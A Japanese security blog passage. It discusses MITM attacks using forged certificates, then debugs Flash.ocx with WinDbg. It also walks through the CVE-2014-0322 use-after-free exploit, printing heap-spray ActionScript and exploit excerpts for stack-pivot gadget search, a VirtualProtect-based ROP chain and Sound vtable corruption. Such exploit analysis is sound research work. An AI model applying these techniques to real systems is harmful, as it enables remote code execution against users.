同じ CN を持つ証明書を動的に作るというアイディアは、ルート証明書の課題があるとは言え、問題なく実装できそうです。自分の銀行のオンライン バンクのサイトが、どの認証局によって署名されているかなんて誰も知らないでしょうし。もし上記のような MITM 攻撃を受けると、クライアントからは、本来の認証局とは違う認証局の署名を持つ証明書を受け取ることになります。もちろん、OS にもともと入っているような真っ当な認証局であれば、証明書署名要求にある CN 名のドメインのオーナーの身分調査などをしっかり行うはずなので、既に存在する CN 名を持つ証明書には署名を行わないはずです。

ただし、多くのユーザーは SSL の仕組みや、サイトにアクセスしたときに出てくる証明書に関する警告メッセージの詳細なんて知りません。オンライン バンクにアクセスしたときに、信頼されていないルート証明書による署名が検出された、という警告が出たとして、構わず OK をクリックするユーザーは一定数いるはずです。万が一、有名な認証局の秘密鍵が盗まれたとすると、この攻撃手法が完全に有効になり、クライアント側からは MITM の有無を区別することは不可能になります。商用 CA やインターネットの世界でなくても、例えば企業の IT 部門に悪意あるものが侵入するということがあり得ます。企業が Active Directory を導入していれば、グループ ポリシーを少し弄って、自分の作ったルート証明書を配布してしまうことは可能です。

このように MITM は現在でもとても有効な攻撃手法です。例えば自分がカフェのオーナーだったとして、店舗に WiFi アクセスポイントを設置して、ルーターにちょこちょこっと細工をすれば簡単に MITM は実装できてしまいます。自分がオーナーじゃなくても、例えば企業内のどこかに置かれているルーターのところに行って、LAN ケーブルをささっと繋ぎ直して、おれおれルーターを設置する、ということも可能かもしれません。

セキュリティや IT の世界でも、情報の非対称性の存在が顕著だと言えそうです。(結論それか

Debugging Flash.ocx

ActionScript のオブジェクトについて少しデバッグしてみたので、そこで得られた結果などを紹介します。

まずは前回の続きです。Exploit が使っている C394 という Stack Pivot のコードの代わりに、デバッグ ブレークが発生するように CCCC という命令を選んで vtable を書き換え、得られたブレークがこれでした。

0:005> r
eax=1a001018 ebx=028eb8e0 ecx=241ff020 edx=07f3df20 esi=70185d60 edi=07fce810
eip=6f8e1fc8 esp=028eb830 ebp=028eb838 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200200
Flash+0x1fc8:
6f8e1fc8 cc              int     3
0:005> dd esp
028eb830  70158fc5 07faeec8 028eb844 70185d70
028eb840  241ff021 028eb8a0 7019dd98 07faeec8
028eb850  00000001 028eb8e0 07fce810 07faeec8
028eb860  08340fa0 00000000 00000000 07fce810
028eb870  07faeec8 08046600 028eb8e8 00000000
028eb880  00000000 00000000 00000000 00000000
028eb890  00000000 00000007 00000000 ad5aa7aa
028eb8a0  028eb8c0 7019eb48 07faeec8 00000001
0:005> ub 70158fc5
Flash!IAEModule_AEModule_PutKernel+0x2b68d2:
70158fb2 2407            and     al,7
70158fb4 3c01            cmp     al,1
70158fb6 7512            jne     Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fb8 83f904          cmp     ecx,4
70158fbb 720d            jb      Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fbd 83e1f8          and     ecx,0FFFFFFF8h
70158fc0 8b01            mov     eax,dword ptr [ecx]
           <<<<<<<< ecx: Sound object, eax: vtable
70158fc2 ff5078          call    dword ptr [eax+78h]
           <<<<<<<< calling Sound.toString() 
0:005> dd ecx l8
241ff020  1a001018 400000ff 0832ef38 08355d60
241ff030  00000000 00000000 083a23b0 00000000
0:005> dd 1a001018
1a001018  768d5994 1a001c08 1a001000 00004000
1a001028  00000040 1a002000 6f8e1fc8 6f8e1fc8
1a001038  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001048  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001058  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001068  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001078  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001088  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
0:005> ln 768d5994
(768d5994)   kernel32!VirtualProtectStub   |  (768d59a5)   kernel32!VirtualProtectExStub
Exact matches:
    kernel32!VirtualProtectStub (<no parameter info>)
 

AVM2 (ActionScript) 上での Sound .toString() が、CPU 上では仮想テーブルを eax に入れたうえで call ptr [eax+78] を実行するような indirect call になっているので、Stack Pivot によって eip と esp を同時に乗っ取ることができるのでした。

以前紹介した以下のブログ記事に "In the exploit found in the wild, a Sound() object was used. I also chose to use it but it is possible to use any other object as long as you can control it." という記述があり、Sound オブジェクトは既に exploit された実績があり、既知の情報として業界では有名なのかもしれません。

HDW Sec – Blog
http://hdwsec.fr/blog/CVE-2014-0322.html

知識として知っておくだけでも知らないよりは随分と違いますが、何もないところからどうやって見つけてくるのか、という方法を知りたいところです。そこで、exploit で使われていた Heap Spray のテクニックを応用してデバッグしてみました。

まずは ActionScript を書きます。

package {
  import flash.display.Sprite;
  import flash.events.*;
  import flash.media.*;
  import flash.printing.*;
  import flash.system.fscommand;
  import flash.utils.*;
  import flash.xml.*;

  public class Main extends Sprite {
    public var mTimer:Timer;
    public var mCounter:int;

    public function Main():void {
      this.mCounter = 0;
      this.mTimer = new Timer(1000, 3600);
      this.mTimer.addEventListener("timer", this.timerHandler);
      this.mTimer.start();

      buildBuffer();
    }

    public var mSound:Sound;
    public var mPrint:PrintJob;
    public var mXmlDoc:XMLDocument;
    public var mXml:XML;

    public var mSounds:Vector.<Object>;
    public var mPrints:Vector.<Object>;
    public var mXmlDocs:Vector.<Object>;
    public var mXmls:Vector.<Object>;

    public function buildBuffer():void {
      this.mSound = new Sound();
      this.mPrint = new PrintJob();
      this.mXmlDoc = new XMLDocument();
      this.mXml = <books>
        <book publisher="Addison-Wesley" name="Design Patterns" />
        <book publisher="Addison-Wesley" name="The Pragmatic Programmer" />
        <book publisher="Addison-Wesley" name="Test Driven Development" />
        <book publisher="Addison-Wesley" name="Refactoring to Patterns" />
        <book publisher="O'Reilly Media" name="The Cathedral & the Bazaar" />
        <book publisher="O'Reilly Media" name="Unit Test Frameworks" />
        </books>;

      var i:int = 0;
      var j:int = 0;
      var len0:int = 0x123;

      var len1:int = 0x1234;
      var len2:int = 0x5678;
      var len3:int = 0x4321;
      var len4:int = 0x4444;

      this.mSounds = new Vector.<Object>(len0);
      this.mPrints = new Vector.<Object>(len0);
      this.mXmlDocs = new Vector.<Object>(len0);
      this.mXmls = new Vector.<Object>(len0);

      for ( i = 0  i < len0  ++i ) {
        this.mSounds[i] = new Vector.<Object>(len1);
        for ( j = 0  j < len1  ++j ) {
          this.mSounds[i][j] = this.mSound;
        }

        this.mPrints[i] = new Vector.<Object>(len2);
        for ( j = 0  j < len2  ++j ) {
          this.mPrints[i][j] = this.mPrint;
        }

        this.mXmlDocs[i] = new Vector.<Object>(len3);
        for ( j = 0  j < len3  ++j ) {
          this.mXmlDocs[i][j] = this.mXmlDoc;
        }

        this.mXmls[i] = new Vector.<Object>(len4);
        for ( j = 0  j < len4  ++j ) {
          this.mXmls[i][j] = this.mXml;
        }
      }

      trace("ready.");
    }

    public function hex(n:uint) : String {
      var s:String = n.toString(16);
      while( s.length < 8 ) {
        s = '0' + s;
      }
      return s;
    }

    public function timerHandler(param1:TimerEvent) : void {
      trace("+ENTER timerHandler: " + hex(mCounter += 1000));

      trace("calling Sound.toString()...");
      mSound.toString();

      trace("calling PrintJob.willTrigger()...");
      mPrint.willTrigger('jugemujugemu!');

      trace("calling XMLDocument.parseXML()...");
      mXmlDoc.parseXML('namuamidabutu');

      trace("calling XML.descendants()...");
      mXml.descendants('hoge');
    }
  }
}

HTML も書きます。例によって embed タグの間に空白を入れています。

<!DOCTYPE html>
<html>
<head></head>
<body>
<p>welcome to heapspray</p>
<em bed src="heapspray.swf" width="50" height="50"></em bed>
</body>
</html>

ActionScript をコンパイルして、得られた swf ファイルと HTML を適当な Web サーバーにデプロイします。今回スプレーしたオブジェクト、配列の長さ、試すメソッドは以下の 4 種類です。全部適当に選んでいます。

  • Sound | length = 0x1234 | method = toString()
  • PrintJob | length = 0x5678 | method = willTrigger(type:String)
  • XMLDocument | length = 0x4321 | method = parseXML(source:String)
  • XML | length = 0x4444 | method = descendants(name:*)

今回は最新の環境でデバッグを行います。Flash Player はデバッグ機能がないものを使いました。

  • OS: Windows 8.1 x64 with Update 1
  • Browser: IE11 32bit + KB2977629 (Sep. 2014 Update)
  • Flash Player: 15.0

やろうとすることは単純で、配列の長さの情報をメモリ上で検索してオブジェクトへのアドレスを見つけ、仮想テーブルのアドレスに対して read のアクセス ブレークポイントを設定するだけです。

まずは Sound.toString() から。狙い通りのところでブレークしました。Exploit のときは [eax+78] でしたが、今回は [eax+70] のアドレスを call するようです。Exploit では Windows 8 用のデバッグ機能付きの flash.ocx を使っており、環境が違うとvtable 上のオフセットも変わるということでしょう。Exploit の中で、狙っているメソッドを決め打ちしにいくメリットはあまりなく、広範囲にわたって vtable 書き換えるのが現実的なようです。

0:035> lmvm flash
start    end        module name
6fd20000 70f43000   Flash      (deferred)             
    Image path: C:\Windows\SysWOW64\Macromed\Flash\Flash.ocx
    Image name: Flash.ocx
    Timestamp:        Fri Sep 12 18:51:54 2014 (5413A33A)
    CheckSum:         0113F37D
    ImageSize:        01223000
    File version:     15.0.0.167
    Product version:  15.0.0.167
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Adobe Systems, Inc.
    ProductName:      Shockwave Flash
    InternalName:     Adobe Flash Player 15.0
    OriginalFilename: Flash.ocx
    ProductVersion:   15,0,0,167
    FileVersion:      15,0,0,167
    FileDescription:  Adobe Flash Player 15.0 r0
    LegalCopyright:   Adobe? Flash? Player. Copyright ? 1996-2014 Adobe Systems Incorporated. All Rights Reserved. Adobe and Flash are either trademarks or registered trademarks in the United States and/or other countries.
    LegalTrademarks:  Adobe Flash Player

0:021> s -d 00000000 l1000000 00001234
03537dc0  00001234 03209010 03204100 724b2e6d  4..... ..A .m.Kr
036ebd58  00001234 000003a8 000004e4 00000000  4...............
0:021> s -d 04000000 l1000000 00001234
04983508  00001234 000000f0 00001244 00000834  4.......D...4...
049835c0  00001234 000000f0 00001244 00000834  4.......D...4...
049860e0  00001234 00002104 000016b4 00000834  4....!......4...
04986250  00001234 00002104 000016b4 00000834  4....!......4...
(snip)
0:021> s -d 08000000 l1000000 00001234
0800aac8  00001234 12350000 12371236 12380000  4.....5.6.7...8.
09f69024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
09f72024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
09f7f024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
09f8e024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
0a00d024  00001234 0a0e2021 0a0e2021 0a0e2021  4...! ..! ..! ..
0:021> ba r4 0a0e2020
0:021> g
Breakpoint 0 hit
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SysWOW64\Macromed\Flash\Flash.ocx - 
eax=70a24b14 ebx=00000000 ecx=0a0e2020 edx=09d54040 esi=0a042f10 edi=09c3f810
eip=704bae52 esp=02a3bf70 ebp=02a3bf74 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
Flash!IAEModule_AEModule_PutKernel+0x1ec142:
704bae52 ff5070          call    dword ptr [eax+70h]  ds:002b:70a24b84=c04d4b70
0:002> ub .
Flash!IAEModule_AEModule_PutKernel+0x1ec130:
704bae40 8bc1            mov     eax,ecx
704bae42 2407            and     al,7
704bae44 3c01            cmp     al,1
704bae46 7512            jne     Flash!IAEModule_AEModule_PutKernel+0x1ec14a (704bae5a)
704bae48 83f904          cmp     ecx,4
704bae4b 720d            jb      Flash!IAEModule_AEModule_PutKernel+0x1ec14a (704bae5a)
704bae4d 83e1f8          and     ecx,0FFFFFFF8h
704bae50 8b01            mov     eax,dword ptr [ecx]
0:002> u .
Flash!IAEModule_AEModule_PutKernel+0x1ec142:
704bae52 ff5070          call    dword ptr [eax+70h]
704bae55 5f              pop     edi
704bae56 5d              pop     ebp
704bae57 c20400          ret     4
704bae5a 56              push    esi
704bae5b 51              push    ecx
704bae5c 8b4a04          mov     ecx,dword ptr [edx+4]
704bae5f e83cfbfeff      call    Flash!IAEModule_AEModule_PutKernel+0x1dbc90 (704aa9a0)

では次のメソッド、PrintJob.willTrigger です。

0:016> s -d 08000000 l1000000 00005678
0a147024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...
0a403024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...
0a43c024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...
0a488024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...
0a4c1024  00005678 09c0e859 09c0e859 09c0e859  xV..Y...Y...Y...

0:016> ba r4 09c0e858
0:016> g
Breakpoint 0 hit
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f13b esp=02a3c0c0 ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b45b:
7014f13b ff750c          push    dword ptr [ebp+0Ch]  ss:002b:02a3c0e0=01000000

0:002> ub .
Flash!DllUnregisterServer+0x9b447:
7014f127 83cf01          or      edi,1
7014f12a 8bc8            mov     ecx,eax
7014f12c 8bd7            mov     edx,edi
7014f12e e8dd903500      call    Flash!IAEModule_AEModule_PutKernel+0x1d9500 (704a8210)
7014f133 8bce            mov     ecx,esi
7014f135 84c0            test    al,al
7014f137 7519            jne     Flash!DllUnregisterServer+0x9b472 (7014f152)
7014f139 8b06            mov     eax,dword ptr [esi]
0:002> u .
Flash!DllUnregisterServer+0x9b45b:
7014f13b ff750c          push    dword ptr [ebp+0Ch]
7014f13e ff7508          push    dword ptr [ebp+8]
7014f141 8b808c000000    mov     eax,dword ptr [eax+8Ch]
7014f147 ffd0            call    eax

7014f149 5f              pop     edi
7014f14a 5e              pop     esi
7014f14b 5b              pop     ebx
7014f14c 8be5            mov     esp,ebp

こちらもヒットしました。vtable の +8C のところにあるアドレスを実行しています。しかし、これは同じ方法で exploit に使うことはできません。indirect call ではあるのですが、eax+8C にある関数のアドレスを一度 eax に代入してから call しているので、eax と esp 交換するだけの Stack Pivot では esp を乗っ取ることができません。仮想テーブルのアドレスが esi に残っているので、これを使えば何とか、というところですが・・・esi を参照して eax などのレジスターに入れてから esp と交換、するようなコードを見つけることができれば使えます。

次のクラスに移る前に、もう少し調べてみたいことがあります。ActionScript 上の willTrigger は String クラスの引数を 1 つ取ります。アセンブリを見ると、call の前に 2 回 push しているので、vtable+8C は引数を 2 つ取る関数のように見えます。call までステップ オーバーしてスタックの中身を見ます。

eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f13b esp=02a3c0c0 ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b45b:
7014f13b ff750c          push    dword ptr [ebp+0Ch]  ss:002b:02a3c0e0=01000000
0:002> p
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f13e esp=02a3c0bc ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b45e:
7014f13e ff7508          push    dword ptr [ebp+8]    ss:002b:02a3c0dc=b8cc0b0a
0:002> 
eax=70a23af4 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f141 esp=02a3c0b8 ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b461:
7014f141 8b808c000000    mov     eax,dword ptr [eax+8Ch] ds:002b:70a23b80=20e81470
0:002> 
eax=7014e820 ebx=09c3f810 ecx=09c0e858 edx=09c0e858 esi=09c0e858 edi=09c0e859
eip=7014f147 esp=02a3c0b8 ebp=02a3c0d4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!DllUnregisterServer+0x9b467:
7014f147 ffd0            call    eax {Flash!DllUnregisterServer+0x9ab40 (7014e820)}
0:002> dd esp
02a3c0b8  0a0bccb8 00000001 09c0e858 0a0bccb8
02a3c0c8  09c3f810 704b384d 09c3000a 02a3c0fc
02a3c0d8  70152897 0a0bccb8 00000001 02a3c0f4
02a3c0e8  09ba2fc0 02a3c2e0 09c3f810 0a120c70
02a3c0f8  9d5b780c 02a3c108 70195a40 0a0bccb8
02a3c108  02a3c158 0a0f41c8 0a075ef8 00000001
02a3c118  02a3c138 0a0f4179 00000011 00000000
02a3c128  0a0dd080 00005208 0a0d80ac 0a0dd080
0:002> dd 0a0bccb8
0a0bccb8  70a8b9fc 40000002 09c8e7a4 00000000
0a0bccc8  0000000d 0000001a 70a8b9fc 40000002
0a0bccd8  09c8e782 00000000 00000021 0000001a
0a0bcce8  70a8b9fc 40000002 09c8e766 00000000
0a0bccf8  0000001b 0000001a 70a8b9fc 40000002
0a0bcd08  09c8e74c 00000000 00000015 0000001a
0a0bcd18  70a8cbe4 00000017 09fed1f0 0a0bcd30
0a0bcd28  09bb1c91 20000001 70a8cbe4 00000003
0:002> dd 70a8b9fc
70a8b9fc  70490070 70491f70 704931c0 7064d0cb
70a8ba0c  704bb7f0 70494050 6ff39720 704943a0
70a8ba1c  70494310 70494330 704946f0 6ff39ad0
70a8ba2c  6fe3a620 70494290 6ff39720 704943a0
70a8ba3c  70494310 70494330 70494700 70494900
70a8ba4c  704944e0 70496190 70494180 70494c60
70a8ba5c  7064d0cb 70495600 6fdc66e0 7064d0cb
70a8ba6c  702e65f0 70495e20 704957d0 6ff50820
0:002> db 09c8e7a4
09c8e7a4  6a 75 67 65 6d 75 6a 75-67 65 6d 75 21 0b 77 69  jugemujugemu!.wi
09c8e7b4  6c 6c 54 72 69 67 67 65-72 21 63 61 6c 6c 69 6e  llTrigger!callin
09c8e7c4  67 20 58 4d 4c 44 6f 63-75 6d 65 6e 74 2e 70 61  g XMLDocument.pa
09c8e7d4  72 73 65 58 4d 4c 28 29-2e 2e 2e 0d 6e 61 6d 75  rseXML()....namu
09c8e7e4  61 6d 69 64 61 62 75 74-75 08 70 61 72 73 65 58  amidabutu.parseX
09c8e7f4  4d 4c 1c 63 61 6c 6c 69-6e 67 20 58 4d 4c 2e 64  ML.calling XML.d
09c8e804  65 73 63 65 6e 64 61 6e-74 73 28 29 2e 2e 2e 04  escendants()....
09c8e814  68 6f 67 65 0b 64 65 73-63 65 6e 64 61 6e 74 73  hoge.descendants

最初に push されていたのは 1 なので、これは無視するとして、第一引数はオブジェクトの参照のように見えます。実際に参照先をダンプすると、オフセット +0 は vtable で、明らかに何かのクラスです。+8 のところにあるアドレスをダンプしてみると、引数として与えた " jugemujugemu!" という文字を指していました。ということで第一引数は ActionScript 上の引数である String オブジェクトと同等のものが渡されていると考えてもよさそうです。

さて次のメソッド、XMLDocument.parseXML。vtable らしき構造はあるのにブレークせず。何かコードがまずいのだろうか。よく分からないのでパス。

0:014> s -d 08000000 l1000000 00004321
0a3e0024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a419024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a452024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a475024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a49e024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0a4d7024  00004321 0a131041 0a131041 0a131041  !C..A...A...A...
0:014> ba r4 0a131040
0:014> g

ヒットせず・・・

最後、XML.descendants。

0:013> s -d 08000000 l1000000 00004444
08288f14  00004444 00004a44 00005044 00005644  DD..DJ..DP..DV..
0a3f1024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a42a024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a463024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a4af024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a4e8024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0a529024  00004444 0a045941 0a045941 0a045941  DD..AY..AY..AY..
0:013> ba r4 0a045940
0:013> g
Breakpoint 0 hit
eax=70a8c930 ebx=09c3f810 ecx=09b9b240 edx=00000010 esi=0a045940 edi=09ba2fc0
eip=704b0d11 esp=02a3c0dc ebp=02a3c0f4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Flash!IAEModule_AEModule_PutKernel+0x1e2001:
704b0d11 8d4dec          lea     ecx,[ebp-14h]
0:002> ub .
Flash!IAEModule_AEModule_PutKernel+0x1e1fea:
704b0cfa 8945f4          mov     dword ptr [ebp-0Ch],eax
704b0cfd 8945f8          mov     dword ptr [ebp-8],eax
704b0d00 8d45ec          lea     eax,[ebp-14h]
704b0d03 8b4904          mov     ecx,dword ptr [ecx+4]
704b0d06 50              push    eax
704b0d07 ff7508          push    dword ptr [ebp+8]
704b0d0a e8417bffff      call    Flash!IAEModule_AEModule_PutKernel+0x1d9b40 (704a8850)
704b0d0f 8b06            mov     eax,dword ptr [esi]
0:002> u .
Flash!IAEModule_AEModule_PutKernel+0x1e2001:
704b0d11 8d4dec          lea     ecx,[ebp-14h]
704b0d14 51              push    ecx
704b0d15 8bce            mov     ecx,esi
704b0d17 ff500c          call    dword ptr [eax+0Ch]
704b0d1a 50              push    eax
704b0d1b e82007ffff      call    Flash!IAEModule_AEModule_PutKernel+0x1d2730 (704a1440)
704b0d20 8b4dfc          mov     ecx,dword ptr [ebp-4]
704b0d23 83c404          add     esp,4

今度は狙い通りブレーク。call も関数のアドレスをレジスタに入れることなく、そのまま call ptr [eax+c] しているところはよいのですが、オフセットの +C というのは小さすぎて使えない気がします。

それにしても、ちょうどいいメソッドを見つけるのは難しいものです。なんだかんだ素直に Sound.toString() を使うのが最良の選択といったところ。しかし、アクセス ブレークポイントを使ってある程度はデバッガーから Flash オブジェクトの動きを探れないこともなさそうです。頑張れば解析ツールを書くことも技術的には可能か・・・。

Deep Dive into Exploit of Use-After-Free Vulnerability – 4

これまでの記事で、CVE-2014-0322 の脆弱性、それを利用してメモリの制御が可能になり、ASLR を回避して flash.ocx のベースアドレスと VirtualProtect API のアドレスを入手しました。残っている ActionScript のコードは、getSP とbuildPayload の 2 つだけです。

3. eip/esp の乗っ取りと ROP chain

既に何度も言及していますが、getSP は、flash.ocx のコード領域 (.text セクション) から、0xC394 という WORD のある場所を見つけます。これの意味を理解するためには、そもそも実現しようとしている ROP の全体像を掴む必要があります。その全体像を示したものが、スライドにも含めているこの図です。

rop

0xC394 というのは、アセンブリ言語に換算すると xchg eax,esp; ret という 2 つの命令です。ROP の中でこれを実行したいのです。DEP があるので、実行可能なページ上の 0xC394 を見つける必要があり、既にイメージベースを知っている flash.ocx の実行可能な領域である .text セクションから適当に探し出してくるのが getSP という関数です。ActionScript によると、この C394 のことを Stack Pivot と呼んでいるようです。デバッグしている環境の flash.ocx は v14.0 で、exploit を実行すると RVA=0x3c8cc のところの c394 が使われます。この箇所には、どこからともなくいきなり制御が飛んできて ret ですぐにまたどこかへ行ってしまうので、読み位置が違っていたり、その前後のデータがどうなっていようと影響はありません。

flash.ocx のコード領域に c394 が含まれているのは全くの偶然であって、ひょっとすると別バージョンの flash.ocx には c394 という連続した 2 バイトが全く含まれていない可能性もあります。その場合は、ActionScript 側で他のイメージの実行可能な領域に c394 があるかどうかを探す必要があります。といってもたったの 2 バイトなので、その可能性は著しく低いはずです。

0:028> u 700fc8cc
Flash+0x3c8cc:
700fc8cc 94              xchg    eax,esp
700fc8cd c3              ret
700fc8ce 0f7099c30f709ec3 pshufw  mm3,mmword ptr [ecx-618FF03Dh],0C3h
700fc8d6 0f70cccc        pshufw  mm1,mm4,0CCh
700fc8da cc              int     3
700fc8db cc              int     3

では getSP のコードを見ていきます。まず、timerHandler から呼ばれるときに第三引数としてvtableobj-k が渡されます。これは前回の getFlashBaseAddr 関数のところで触れたように、引き算の結果が flash.ocx のベースアドレスそのものになります。一方の第一引数は、そのベースアドレスにアクセスするための this.s[index] のインデックスです。

/* Find .text */
peindex = this.s[index][baseflashaddr_off+0x3C/4];
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;

上記 2 行のうち、peindex の方は、getK32Index を呼ぶ直前と同様で、ntdll!_IMAGE_DOS_HEADER::e_lfanew、すなわち flash.ocx の PE ヘッダーへのオフセットです。次に、PE ヘッダーから +4 = 1*sizeof(uint) のところにある uint を 16 ビット右シフトしています。つまり、PE ヘッダーから +6 のところにある WORD 値を取ってくるのと同じなので、sn にはntdll!_IMAGE_FILE_HEADER:: NumberOfSections が入ります。

0:028> dt ntdll!_IMAGE_NT_HEADERS FileHeader.NumberOfSections
   +0x004 FileHeader                  :
      +0x002 NumberOfSections            : Uint2B

次の条件式はこうなっています。

this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
  && this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74

PE ヘッダーからオフセット f8 のところを参照しています。ちょうどsizeof(ntdll!_IMAGE_NT_HEADERS) が 0xf8 なので、参照しているのは _IMAGE_OPTIONAL_HEADER の直後です。http://msdn.microsoft.com/en-us/magazine/ms809762.aspx によると、そこにはIMAGE_SECTION_HEADER の配列があると書かれています。配列の定義は SDK の winnt.h から引用すると以下の通りです。

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

#define IMAGE_SIZEOF_SECTION_HEADER          40

比較に使われているのは IMAGE_SECTION_HEADER の先頭なので、どうやらセクションの名前のようです。そこで右辺を ascii 文字に変換すると・・".text" という文字を探していることが分かります。.text セクションとは、コード領域のことです。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x7865742E))
.tex
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x74))
t

_IMAGE_SECTION_HEADER のサイズを数えると 40=0x28 バイトになるので、sec という変数はセクションのインデックスになります。ここまでで flash.ocx のコード領域の情報が得られました。

virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];

次の 2 行では、_IMAGE_SECTION_HEADER ヘッダー内のオフセット 3*sizeof(uint)、2*sizeof(uint) の値を取っています。これはそれぞれ変数の名前の通り VirtualAddress と VirtualSizeになりそうです。

次のループでは、いよいよコード領域内の探索に移ります。開始アドレスと領域のサイズが分かっているので、その中で C394 があるかどうかをチェックするだけです。ただし、DWORD 境界にない C394 も探すため、4 通りの読み位置でそれぞれ if 文を実行しています。この関数は戻り値として配列のインデックスではなく、アドレスそのものを返します。

これで C394 が取得できました。C394 を実行すると、最初の命令で eax と esp の値が交換され、そのままリターンします。が、ret のときに何のアドレスに飛ぶのかがとても重要です。x86 での ret は、スタックを pop して eip に入れるという動作を行います。スタックとは、もちろん esp レジスターが指すアドレスです。そして esp の内容は直前の xchg によって変更されています。つまり ret を実行すると、xchg に飛んできたときに eax が指していたアドレスにあるアドレスにジャンプします。

x86 命令の仕様は Intel のマニュアルがとても親切です。

Intel® 64 and IA-32 Architectures Software Developer Manuals
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html

ここまでで面白いことをしている感じはありますが、未だ全体像は見えてきません。次のポイントは、ActionScript からどうやって ROP を始めるか、という点です。今回の例では、ActionScript の Sound.toString() メソッドを実行することで ROP が始まります。コードでいうと、timerHandler() 関数の最後にある this.sound.toString(); というのがそれです。なぜそんなことが起こるかといえば、buildPayload() 関数の中で、事前に Sound オブジェクトの vtable を改竄しているためです。

これまでに何度も vtable という単語を使ってきましたが、これは仮想関数の動作を実現するためにコンパイラーが生成するデータ構造の一種です。詳細は以下の wiki を参照して下さい。

Virtual method table – Wikipedia, the free encyclopedia
http://en.wikipedia.org/wiki/Virtual_method_table

では最後に残った関数 buildPayload() を見ます。前半部分が、コメントにもあるように Sound オブジェクトの vtable を書き換えている部分です。

/* Corrupt sound object vtable ptr */
while (1) {
  if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234) {
    soundobjref = this.s[index][j+0x0A];
    dec = soundobjref-cvaddr-1;
    this.s[index][dec/4-2] = cvaddr+2*4+4*4;
    break;
  }

  j++;
}

